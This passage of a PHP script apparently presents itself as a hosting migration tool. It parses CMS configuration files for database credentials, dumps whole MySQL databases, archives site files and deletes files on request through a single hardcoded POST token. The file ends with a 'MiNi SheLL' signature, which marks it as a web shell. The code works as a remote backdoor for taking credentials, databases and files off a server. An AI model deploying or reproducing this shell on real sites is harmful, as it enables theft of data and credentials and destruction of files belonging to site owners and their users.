					preg_match("/dataroot(.*?)=(.*?)'(.*?)'/", $line, $data_root);
				}

			}
			fclose($file);
		}




		$host_port = $this->get_db_port($db_host[3]);
		$result = array(
				'app'		=> 'Moodle',
				'conf'		=> 'config.php',
				'db_name'	=> $db_name[3],
				'db_user'	=> $db_user[3],
				'db_password'	=> $db_pass[3],
				'db_host'	=> $host_port['db_host'],
				'db_port'	=> $host_port['db_port'],
				'db_prefix'	=> $db_prefix[3],
				'outside_dir'	=> $data_root[3],
				);


		if (!$this->validate_conf($result)) {

			return false;

		}

		return $result;

	}



}



/**
 * Abstract dump file: provides common interface for writing
 * data to dump files.
 */


abstract class Shuttle_Dump_File_SG {
	/**
	 * File Handle
	 */
	protected $fh;

	/**
	 * Location of the dump file on the disk
	 */
	protected $file_location;

	abstract function write($string);
	abstract function end();

	static function create($filename) {
		if (self::is_gzip($filename)) {
			return new Shuttle_Dump_File_Gzip_SG($filename);
		}
		return new Shuttle_Dump_File_Plaintext_SG($filename);
	}
	function __construct($file) {
		$this->file_location = $file;
		$this->fh = $this->open();

		if (!$this->fh) {
			throw new Shuttle_Exception_SG("Couldn't create gz file");
		}
	}

	public static function is_gzip($filename) {
		return preg_match('~gz$~i', $filename);
	}
}

/**
 * Plain text implementation. Uses standard file functions in PHP.
 */
class Shuttle_Dump_File_Plaintext_SG extends Shuttle_Dump_File_SG {
	function open() {
		return fopen($this->file_location, 'w');
	}
	function write($string) {
		return fwrite($this->fh, $string);
	}
	function end() {
		return fclose($this->fh);
	}
}

/**
 * Gzip implementation. Uses gz* functions.
 */
class Shuttle_Dump_File_Gzip_SG extends Shuttle_Dump_File_SG {
	function open() {
		return gzopen($this->file_location, 'wb9');
	}
	function write($string) {
		return gzwrite($this->fh, $string);
	}
	function end() {
		return gzclose($this->fh);
	}
}

/**
 * MySQL insert statement builder.
 */
class Shuttle_Insert_Statement_SG {
	private $rows = array();
	private $length = 0;
	private $table;

	function __construct($table) {
		$this->table = $table;
	}

	function reset() {
		$this->rows = array();
		$this->length = 0;
	}

	function add_row($row) {
		$row = '(' . implode(",", $row) . ')';
		$this->rows[] = $row;
		$this->length += strlen($row);
	}

	function get_sql() {
		if (empty($this->rows)) {
			return false;
		}

		return 'INSERT INTO `' . $this->table . '` VALUES ' .
			implode(",\n", $this->rows) . '; ';
	}

	function get_length() {
		return $this->length;
	}
}

/**
 * Main facade
 */
abstract class Shuttle_Dumper_SG {
	/**
	 * Maximum length of single insert statement
	 */
	const INSERT_THRESHOLD = 838860;

	/**
	 * @var Shuttle_DBConn
	 */
	public $db;

	/**
	 * @var Shuttle_Dump_File
	 */
	public $dump_file;

	/**
	 * End of line style used in the dump
	 */
	public $eol = "\r\n";

	/**
	 * Specificed tables to include
	 */
	public $include_tables;

	/**
	 * Specified tables to exclude
	 */
	public $exclude_tables = array();

	/**
	 * Factory method for dumper on current hosts's configuration.
	 */
	static function create($db_options) {
		$db = Shuttle_DBConn_SG::create($db_options);

		$db->connect();

		if (self::has_shell_access()
				&& self::is_shell_command_available('mysqldump')
				&& self::is_shell_command_available('gzip')
			) {
			$dumper = new Shuttle_Dumper_ShellCommand_SG($db);
		} else {
			$dumper = new Shuttle_Dumper_Native_SG($db);
		}

		if (isset($db_options['include_tables'])) {
			$dumper->include_tables = $db_options['include_tables'];
		}
		if (isset($db_options['exclude_tables'])) {
			$dumper->exclude_tables = $db_options['exclude_tables'];
		}

		return $dumper;
	}

	function __construct(Shuttle_DBConn_SG $db) {
		$this->db = $db;
	}

	public static function has_shell_access() {
		if (!is_callable('shell_exec')) {
			return false;
		}
		$disabled_functions = ini_get('disable_functions');
		return stripos($disabled_functions, 'shell_exec') === false;
	}

	public static function is_shell_command_available($command) {
		if (preg_match('~win~i', PHP_OS)) {
			/*
			On Windows, the `where` command checks for availabilty in PATH. According
			to the manual(`where /?`), there is quiet mode:
			....
			    /Q       Returns only the exit code, without displaying the list
			             of matched files. (Quiet mode)
			....
			*/
			$output = array();
			exec('where /Q ' . $command, $output, $return_val);

			if (intval($return_val) === 1) {
				return false;
			} else {
				return true;
			}

		} else {
			$last_line = exec('which ' . $command);
			$last_line = trim($last_line);

			// Whenever there is at least one line in the output,
			// it should be the path to the executable
			if (empty($last_line)) {
				return false;
			} else {
				return true;
			}
		}

	}

	/**
	 * Create an export file from the tables with that prefix.
	 * @param string $export_file_location the file to put the dump to.
	 *		Note that whenever the file has .gz extension the dump will be comporessed with gzip
	 * @param string $table_prefix Allow to export only tables with particular prefix
	 * @return void
	 */
	abstract public function dump($export_file_location, $table_prefix='');

	protected function get_tables($table_prefix) {
		if (!empty($this->include_tables)) {
			return $this->include_tables;
		}

		// $tables will only include the tables and not views.
		// TODO - Handle views also, edits to be made in function 'get_create_table_sql' line 336
		$tables = $this->db->fetch_numeric('
			SHOW FULL TABLES WHERE Table_Type = "BASE TABLE" AND `Tables_in_'.$this->db->name.'` LIKE "' . $this->db->escape_like($table_prefix) . '%"
		');

		$tables_list = array();
		foreach ($tables as $table_row) {
			$table_name = $table_row[0];
			if (!in_array($table_name, $this->exclude_tables)) {
				$tables_list[] = $table_name;
			}
		}
		return $tables_list;
	}
}

class Shuttle_Dumper_ShellCommand_SG extends Shuttle_Dumper_SG {
	function dump($export_file_location, $table_prefix='') {


		$command = 'mysqldump -h ' . escapeshellarg($this->db->host) .
			' -P ' . escapeshellarg($this->db->port) .
			' -u ' . escapeshellarg($this->db->username) .
			' --password=' . escapeshellarg($this->db->password) .
			' --default-character-set=utf8mb4' .
			' --set-charset=utf8mb4' .
			' ' . escapeshellarg($this->db->name);

		$include_all_tables = empty($table_prefix) &&
			empty($this->include_tables) &&
			empty($this->exclude_tables);

		if (!$include_all_tables) {
			$tables = $this->get_tables($table_prefix);
			$command .= ' ' . implode(' ', array_map('escapeshellarg', $tables));
		}

		$error_file = tempnam(sys_get_temp_dir(), 'err');

		$command .= ' 2> ' . escapeshellarg($error_file);

		if (Shuttle_Dump_File_SG::is_gzip($export_file_location)) {
			$command .= ' | gzip';
		}

		$command .= ' > ' . escapeshellarg($export_file_location);

		exec($command, $output, $return_val);

		if ($return_val !== 0) {
			$error_text = file_get_contents($error_file);
			unlink($error_file);
			throw new Shuttle_Exception_SG('Couldn\'t export database: ' . $error_text);
		}

		unlink($error_file);
	}
}

class Shuttle_Dumper_Native_SG extends Shuttle_Dumper_SG {
	public function dump($export_file_location, $table_prefix='') {
		$eol = $this->eol;

		$this->dump_file = Shuttle_Dump_File_SG::create($export_file_location);

		$this->dump_file->write("-- Generation time: " . date('r') . $eol);
		$this->dump_file->write("-- Host: " . $this->db->host . $eol);
		$this->dump_file->write("-- DB name: " . $this->db->name . $eol);
		$this->dump_file->write("/*!40030 SET NAMES utf8mb4 */;$eol");

		$this->dump_file->write("/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;$eol");
		$this->dump_file->write("/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;$eol");
		$this->dump_file->write("/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;$eol");
		$this->dump_file->write("/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;$eol");
		$this->dump_file->write("/*!40103 SET TIME_ZONE='+00:00' */;$eol");
		$this->dump_file->write("/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;$eol");
		$this->dump_file->write("/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;$eol");
		$this->dump_file->write("/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;$eol");
		$this->dump_file->write("/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;$eol$eol");


		$tables = $this->get_tables($table_prefix);
		foreach ($tables as $table) {
			$this->dump_table($table);
		}

		$this->dump_file->write("$eol$eol");
		$this->dump_file->write("/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;$eol");
		$this->dump_file->write("/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;$eol");
		$this->dump_file->write("/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;$eol");
		$this->dump_file->write("/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;$eol");
		$this->dump_file->write("/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;$eol");
		$this->dump_file->write("/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;$eol");
		$this->dump_file->write("/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;$eol$eol");

		unset($this->dump_file);
	}

	protected function dump_table($table) {
		$eol = $this->eol;

		$this->dump_file->write("DROP TABLE IF EXISTS `$table`;$eol");

		$create_table_sql = $this->get_create_table_sql($table);
		$this->dump_file->write($create_table_sql . $eol . $eol);

		$data = $this->db->query("SELECT * FROM `$table`");

		$insert = new Shuttle_Insert_Statement_SG($table);

		while ($row = $this->db->fetch_row($data)) {
			$row_values = array();
			foreach ($row as $value) {
				$row_values[] = $this->db->escape($value);
			}
			$insert->add_row( $row_values );

			if ($insert->get_length() > self::INSERT_THRESHOLD) {
				// The insert got too big: write the SQL and create
				// new insert statement
				$this->dump_file->write($insert->get_sql() . $eol);
				$insert->reset();
			}
		}

		$sql = $insert->get_sql();
		if ($sql) {
			$this->dump_file->write($insert->get_sql() . $eol);
		}
		$this->dump_file->write($eol . $eol);
	}

	public function get_create_table_sql($table) {
		$create_table_sql = $this->db->fetch('SHOW CREATE TABLE `' . $table . '`');
		return $create_table_sql[0]['Create Table'] . ';';
	}
}

class Shuttle_DBConn_SG {
	public $host;
	public $username;
	public $password;
	public $name;
	public $port;

	protected $connection;

	function __construct($options) {
		$this->host = $options['host'];
		if (empty($this->host)) {
			$this->host = '127.0.0.1';
		}
		$this->port = $options['port'];
		$this->username = $options['username'];
		$this->password = $options['password'];
		$this->name = $options['db_name'];
	}

	static function create($options) {
		if (class_exists('mysqli')) {
			$class_name = "Shuttle_DBConn_Mysqli_SG";
		} else {
			$class_name = "Shuttle_DBConn_Mysql_SG";
		}

		return new $class_name($options);
	}
}

class Shuttle_DBConn_Mysql_SG extends Shuttle_DBConn_SG {
	function connect() {
		$this->connection = @mysql_connect($this->host . ":" . $this->port, $this->username, $this->password);
		mysql_set_charset('utf8mb4',$this->connection);
		if (!$this->connection) {
			throw new Shuttle_Exception_SG("Couldn't connect to the database: " . mysql_error());
		}

		$select_db_res = mysql_select_db($this->name, $this->connection);
		if (!$select_db_res) {
			throw new Shuttle_Exception_SG("Couldn't select database: " . mysql_error($this->connection));
		}

		return true;
	}

	function query($q) {
		if (!$this->connection) {
			$this->connect();
		}
		$res = mysql_query($q);
		if (!$res) {
			throw new Shuttle_Exception_SG("SQL error: " . mysql_error($this->connection));
		}
		return $res;
	}

	function fetch_numeric($query) {
		return $this->fetch($query, MYSQL_NUM);
	}

	function fetch($query, $result_type=MYSQL_ASSOC) {
		$result = $this->query($query, $this->connection);
		$return = array();
		while ( $row = mysql_fetch_array($result, $result_type) ) {
			$return[] = $row;
		}
		return $return;
	}

	function escape($value) {
		if (is_null($value)) {
			return "NULL";
		}
		return "'" . mysql_real_escape_string($value) . "'";
	}

	function escape_like($search) {
		return str_replace(array('_', '%'), array('\_', '\%'), $search);
	}

	function get_var($sql) {
		$result = $this->query($sql);
		$row = mysql_fetch_array($result);
		return $row[0];
	}

	function fetch_row($data) {
		return mysql_fetch_assoc($data);
	}
}


class Shuttle_DBConn_Mysqli_SG extends Shuttle_DBConn_SG {
	function connect() {
		$this->connection = @new MySQLi($this->host, $this->username, $this->password, $this->name, $this->port);
		mysqli_set_charset($this->connection,'utf8mb4');

		if ($this->connection->connect_error) {
			throw new Shuttle_Exception_SG("Couldn't connect to the database: " . $this->connection->connect_error);
		}

		return true;
	}

	function query($q) {
		if (!$this->connection) {
			$this->connect();
		}
		$res = $this->connection->query($q);

		if (!$res) {
			throw new Shuttle_Exception_SG("SQL error: " . $this->connection->error);
		}

		return $res;
	}

	function fetch_numeric($query) {
		return $this->fetch($query, MYSQLI_NUM);
	}

	function fetch($query, $result_type=MYSQLI_ASSOC) {
		$result = $this->query($query, $this->connection);
		$return = array();
		while ( $row = $result->fetch_array($result_type) ) {
			$return[] = $row;
		}
		return $return;
	}

	function escape($value) {
		if (is_null($value)) {
			return "NULL";
		}
		return "'" . $this->connection->real_escape_string($value) . "'";
	}

	function escape_like($search) {
		return str_replace(array('_', '%'), array('\_', '\%'), $search);
	}

	function get_var($sql) {
		$result = $this->query($sql);
		$row = $result->fetch_array($result, MYSQLI_NUM);
		return $row[0];
	}

	function fetch_row($data) {
		return $data->fetch_array(MYSQLI_ASSOC);
	}
}

class Shuttle_Exception_SG extends Exception {};


/// USER INTERFACE

function test_input($data) {
	$data = trim($data);
	$data = stripslashes($data);
	$data = htmlspecialchars($data);
	return $data;
}

$token = "7e96d1ba39d74e1f76af3a266dae3b80";

if (test_input($_POST["token"]) !== $token) {
        die("Invalid token!");
}


if (empty($_POST["action"])) {
        die("Please specify which action do you need to perform");
}

header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

ini_set("memory_limit","4096M");
ini_set("max_execution_time","0");

$migration_action = test_input($_POST["action"]);
$h = new Siteground_Custom_Migrator();


switch ($migration_action) {

	case "getinfo":
		echo $h->getinfo();
	break;

	case "prepare":
		echo $h->prepare_for_archive();
	break;

	case "archive_file":

		if(!isset($_POST["chunk"])) {
			die("Please specify archive chunk number");
		}

		echo $h->archive_file(test_input($_POST["chunk"]));

	break;

	case "dump_db":

		echo $h->dump_db();

	break;

	case "remove":

		if(empty($_POST["file"])) {
			die("Please specify the file name to remove");
		}

		echo $h->remove(test_input($_POST["file"]));

	break;

	default:

		echo "Invalid action!";

}

Creat By MiNi SheLL
Email: devilkiller@gmail.com